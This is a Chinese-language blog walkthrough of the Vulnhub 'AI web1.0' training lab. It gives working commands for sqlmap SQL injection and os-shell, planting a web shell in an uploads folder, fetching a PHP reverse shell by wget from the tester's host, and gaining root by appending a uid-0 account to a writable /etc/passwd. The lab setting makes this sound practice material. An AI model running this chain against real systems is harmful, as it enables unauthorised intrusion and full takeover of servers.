Vulnhub之AI web1.0


Pdsdt 2019.10.1

在这个举国欢庆的日子里,我充满自豪感的看完了阅兵,正准备打开公司CEO(glzjin)的buuoj平台继续刷刷web和一些入门re,忽然想起CEO说国庆平台要关闭,无奈之下,就想找几个Vulnhub的靶场练练手,刚好在T00ls看到有篇投稿文章写的AI web1.0,于是乎就下载下来练练,还算是一个比较基础的靶场,新入门的WEB手可以做一下熟悉一下工具操作。

https://www.vulnhub.com/entry/ai-web-1,353/

考点

-sql注入
-sqlmap写shell
– 敏感文件/etc/passwd
-反弹shell,提权

信息收集

因为靶场版本的关系,没有搭建到内网ESXI上,直接在本机启动,用本机的kali扫描,发现IP

image.png-371.7kB

靶机ip为:192.168.235.135


使用nmap进行一波信息收集

nmap -sS -v -T4 -Pn -A -p 0-65535 172.192.168.235.135

可以看到靶机只开放了80端口,显示是让我们从web端入手了

image.png-485kB

访问web页面

image.png-19.8kB

除了一句话没有别的内容了,尝试访问一下WEB页面存在的一些敏感目录,发现存在robots.txt

image.png-24.6kB

逐一访问这些目录

经测试发现/m3diNf0/目录下存在info.php页面

image.png-123.7kB

/se3reTdir777/目录下存在uploads目录和index.php页面,猜想可能存在需要我们上次的地方

image.png-11.3kB

信息收集完毕,下一步重点对/se3reTdir777/目录下的页面进行测试


SQL注入

观察页面发现一股浓浓的sql注入味道散发出来,二话不说,先手测一波看看是否存在sql注入

image.png-28.8kB

测试存在注入,而且还没有过滤什么的,此时就祭出神器SQLMAP了

先测试一波

image.png-765.8kB

当了一波数据,发现没有可利用的信息,于是就想着看看数据库用户,能不能直接写shell

sqlmap -u "http://192.168.235.135/se3reTdir777/index.php" --data "uid=1'or 1=1&Operation=submit" --current-user

image.png-316.1kB

尝试写shell

sqlmap -u "http://192.168.235.135/se3reTdir777/index.php" --data "uid=1'or 1=1&Operation=submit" --os-shell

image.png-1084.8kB

sqlmap显示让我们提供目录,这个时候就需要用到info.php的信息了

查看一波网站根目录数据

image.png-42.4kB

尝试写入/home/www/html/web1x443290o2sdf92213目录

image.png-935.3kB

提示我们没有写入的权限

这个时候想到在/se3reTdir777/目录下还存在uploads目录,而且一般的uploads目录都是777的权限,随即把shell尝试写在uploads目录下

/home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/ #目录位置

image.png-1548.4kB

查看当前用户

image.png-84.7kB

尝试提权,既然有php的环境,先用上Kali自带的php反弹shell脚本

将脚本放到kali的网站根目录下,在sqlmap上使用wget命令下载

wget http://192.168.235.134/getshell1.jpg

image.png-562.9kB

使用kali监听端口,在sqlmap上执行命令

image.png-605.6kB

成功反弹shell,利用python获取持续性shell

python -c 'import pty;pty.spawn("/bin/bash")'
python3 -c 'import pty;pty.spawn("/bin/bash")' # 因为靶机环境没有python2的环境,这里使用python3进行反弹

image.png-439.1kB

下一步进行提权,首先查看/etc/passwd文件

image.png-678.7kB

image.png-103.6kB

惊奇的发现www-data用户,对文件可写,我们完全可以在/etc/passwd文件下添加一个root级别的用户,这样就可以直接获取到靶机的root权限,到这里我们需要了解/etc/passwd的存储用户方式,加密的密码我们可以通过kali自带的openssl生成

rkali:~# openssl passwd -1 -salt ginkgo pass123
$1$ginkgo$2D4qzi54AAAoy8rg6qpGX/
# 这里ginkgo是我的用户名,pass123是用户的密码
所以写入/etc/passwd的形式为
ginkgo:$1$ginkgo$2D4qzi54AAAoy8rg6qpGX/:0:0::/root:/bin/bash
# uid为0,gid为0,根目录为root

写入/etc/passwd文件中

www-data@aiweb1:/$echo 'ginkgo:$1$ginkgo$2D4qzi54AAAoy8rg6qpGX/:0:0::/root:/bin/bash' >>/etc/passwd
<4AAAoy8rg6qpGX/:0:0::/root:/bin/bash' >>/etc/passwd

查看文件是否写入成功

image.png-48.2kB

可以看到,成功写入,下一步切换到我们添加的用户

image.png-227.5kB

成功获取到root权限,cat flag.txt

image.png-263.7kB


One thought on “Vulnhub之AI web1.0”

  • 优秀的渗透测试是一门艺术,看完大佬的渗透过程,仿佛回到意大利的文艺复兴年代,观摩大师指点江山,又仿佛回到梵高屋下,共赏漫天星河。此时焕然一抖,将来pdsdt这个ID是终将写入小说的啊!

发表评论

电子邮件地址不会被公开。 必填项已用*标注